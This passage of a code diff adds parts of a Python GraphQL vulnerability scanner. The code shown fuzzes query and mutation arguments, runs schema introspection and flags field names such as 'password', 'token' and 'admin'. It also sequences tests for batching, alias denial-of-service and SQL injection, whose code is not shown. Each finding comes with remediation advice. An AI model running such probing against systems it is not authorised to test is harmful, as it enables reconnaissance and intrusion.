+            query_type = schema.get("queryType", {})
+            fields = query_type.get("fields", []) if query_type else []
+            params = {}
+            for field in fields:
+                for arg in field.get("args", []):
+                    params[arg["name"]] = "test"
+            mutation_type = schema.get("mutationType", {})
+            if mutation_type:
+                for field in mutation_type.get("fields", []):
+                    for arg in field.get("args", []):
+                        params[arg["name"]] = "test"
+            if not params:
+                params = {"query": "test", "id": "1", "filter": "test"}
+            self.log("INFO", f"[GraphQL] Context-aware fuzzing {len(params)} parameter(s) at {url}")
+            self._fuzzer.fuzz(url, params)
+            baseline_body, _ = self._make_gql_request(url, TEST_QUERIES["basic_query"])
+            baseline_length = len(baseline_body or "")
+            anomalies = self._fuzzer.anomalies(baseline_length)
+            for anom in anomalies:
+                self._vulns_found += 1
+                self.log("WARNING", f"[GraphQL] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
+                self.add_vuln(
+                    title=f"GraphQL — Parameter Injection ({anom['param']})",
+                    severity="High",
+                    category="Injection",
+                    cvss_score=7.5,
+                    description=(
+                        f"GraphQL parameter '{anom['param']}' (classified as '{anom['type']}') "
+                        f"at {url} returned an anomalous response when mutated with "
+                        f"'{anom['mutation']}' (value: {anom['value']}). "
+                        f"HTTP {anom['status']}, response length {anom['length']}."
+                    ),
+                    remediation="Validate and sanitize all GraphQL argument inputs. Use parameterized queries, input type enforcement, and proper output encoding.",
+                    cwe_ids=["CWE-20"],
+                    owasp_category="A03:2021 – Injection",
+                )
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error in param fuzzing: {e}")
+
+    def _test_authorization(self, url):
+        """Test for authorization bypass in GraphQL."""
+        try:
+            test_query = """
+            {
+              __schema {
+                queryType {
+                  fields { name args { name type { name } } }
+                }
+              }
+            }
+            """
+
+            body, status = self._make_gql_request(url, test_query)
+            if not body:
+                return False
+
+            try:
+                response_json = json.loads(body)
+                if "data" in response_json:
+                    data = response_json["data"]
+                    if "__schema" in data:
+                        fields = data["__schema"].get("queryType", {}).get("fields", [])
+                        sensitive_fields = []
+                        for field in fields:
+                            field_name = field.get("name", "").lower()
+                            if any(s in field_name for s in ["user", "password", "secret", "key", "token", "admin"]):
+                                sensitive_fields.append(field.get("name"))
+
+                        if sensitive_fields:
+                            self.log("WARNING", f"[GraphQL] Discovered potentially sensitive fields: {sensitive_fields}")
+                            self.add_vuln(
+                                title="GraphQL — Sensitive Field Exposure",
+                                severity="Medium",
+                                category="Information Disclosure",
+                                cvss_score=5.5,
+                                description=(
+                                    f"GraphQL schema exposes potentially sensitive fields: {', '.join(sensitive_fields)}. "
+                                    "These fields may contain sensitive information that should be protected."
+                                ),
+                                remediation=(
+                                    "1. Review and restrict field access based on user roles\n"
+                                    "2. Implement field-level authorization\n"
+                                    "3. Use custom resolvers with proper access checks\n"
+                                    "4. Audit schema for sensitive data exposure"
+                                ),
+                                evidence=f"Sensitive fields: {', '.join(sensitive_fields)}",
+                                payload="Schema field discovery query",
+                                request_details=f"URL: {url}",
+                                response_details=f"Fields found: {[f.get('name') for f in fields[:10]]}",
+                                confidence="High",
+                            )
+                            return True
+            except json.JSONDecodeError:
+                pass
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Error testing authorization: {e}")
+
+        return False
+
+    def _discover_graphql_endpoints(self):
+        """Discover GraphQL endpoints."""
+        endpoints = []
+        base_url = self.target.rstrip("/")
+
+        for path in GRAPHQL_ENDPOINTS:
+            url = f"{base_url}{path}"
+            is_graphql, method = self._detect_graphql_endpoint(url)
+            if is_graphql:
+                endpoints.append((url, method))
+                self.log("INFO", f"[GraphQL] Discovered GraphQL endpoint: {url} ({method})")
+
+        is_graphql, method = self._detect_graphql_endpoint(self.target)
+        if is_graphql:
+            endpoints.append((self.target, method))
+            self.log("INFO", f"[GraphQL] Main URL is GraphQL endpoint: {self.target} ({method})")
+
+        return endpoints
+
+    def run(self):
+        self.log("INFO", f"[GraphQL] Starting GraphQL security scanning on {self.target}...")
+
+        try:
+            # Step 1: Discover GraphQL endpoints
+            self.log("INFO", "[GraphQL] Discovering GraphQL endpoints...")
+            endpoints = self._discover_graphql_endpoints()
+            self.log("INFO", f"[GraphQL] Found {len(endpoints)} GraphQL endpoint(s)")
+
+            if not endpoints:
+                self.log("INFO", "[GraphQL] No GraphQL endpoints detected")
+                return self.vulns
+
+            # Step 2: Test each endpoint
+            for url, method in endpoints:
+                self._tested_endpoints += 1
+                self.log("INFO", f"[GraphQL] Testing endpoint: {url}")
+
+                if self._test_introspection(url):
+                    pass
+
+                self._test_query_depth(url)
+
+                self._test_authorization(url)
+
+                self._test_batching_attack(url)
+
+                self._test_alias_dos(url)
+
+                self._test_graphql_sqli(url)
+
+                self._test_graphql_params_fuzz(url)
+
+        except Exception as e:
+            self.log("ERROR", f"[GraphQL] Unexpected error during scan: {e}")
+
+        self.log("SUCCESS" if not self.vulns else "WARNING",
+                 f"[GraphQL] Complete — {self._tested_endpoints} endpoint(s) tested | "
+                 f"{self._vulns_found} vulnerability/vulnerabilities found")
+        return self.vulns